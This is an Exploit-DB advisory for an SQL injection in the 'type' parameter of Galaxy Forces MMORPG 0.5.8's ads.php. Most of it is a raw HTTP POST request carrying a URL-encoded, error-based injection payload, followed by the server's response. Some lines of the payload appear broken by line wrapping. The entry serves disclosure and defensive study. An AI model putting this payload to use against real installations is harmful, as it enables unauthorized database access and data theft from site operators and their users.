Galaxy Forces MMORPG 0.5.8 - 'type' SQL Injection

EDB-ID:
45864

CVE:
N/A

EDB Verified: ×

Author:
IHSAN SENCAN

Type:
WEBAPPS

Exploit: / {}

Platform:
PHP

Date:
2018-11-15

Vulnerable App:

```
# Exploit Title: Galaxy Forces MMORPG 0.5.8 - 'type' SQL Injection
# Dork: N/A
# Date: 2018-11-14
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://galaxy.alyx.pl/
# Software Link:
https://excellmedia.dl.sourceforge.net/project/galaxyforces/galaxy/0.5.8/gala
0.5.8.7z
# Version: 0.5.8
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC:
# 1)
# Users..
# http://localhost/[PATH]/ads.php
#
# action=add&title=[Do not leave empty..]&type=[SQL]&time=[Do not leave
empty..]&message=[Do not leave empty..]
#
POST /PATH/ads.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: RID=d3fada0e6d425fdf; login=efe;
salt=b5c59c9626445d978940049594f60c858642d268; agree=true
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 368
action=add&title=
[Efe]&type=%27%7c%7c(SeleCT%20'%45%66%65'%20FroM%20duAL%20WheRE%20110%3d110%2
(SeLEct%20(ELT%28%31%31%32%3d%31%31%32%2c%31%29%29%29%2cFLooR(RAnd(0)*2))x%20
[Efe]&message=[Efe]
HTTP/1.1 302 Found
Date: Wed, 14 Nov 2018 15:12:30 GMT
Server: Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
X-Powered-By: PHP/5.6.30
Set-Cookie: RID=44ff5c8a0c395f9b; expires=Wed, 14-Nov-2018 16:12:30 GMT;
Max-Age=3600
Set-Cookie: login=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Set-Cookie: salt=deleted; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0
Content-Length: 0
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8
#Etc..
```

Tags: SQL Injection (SQLi)

Advisory/Source: Link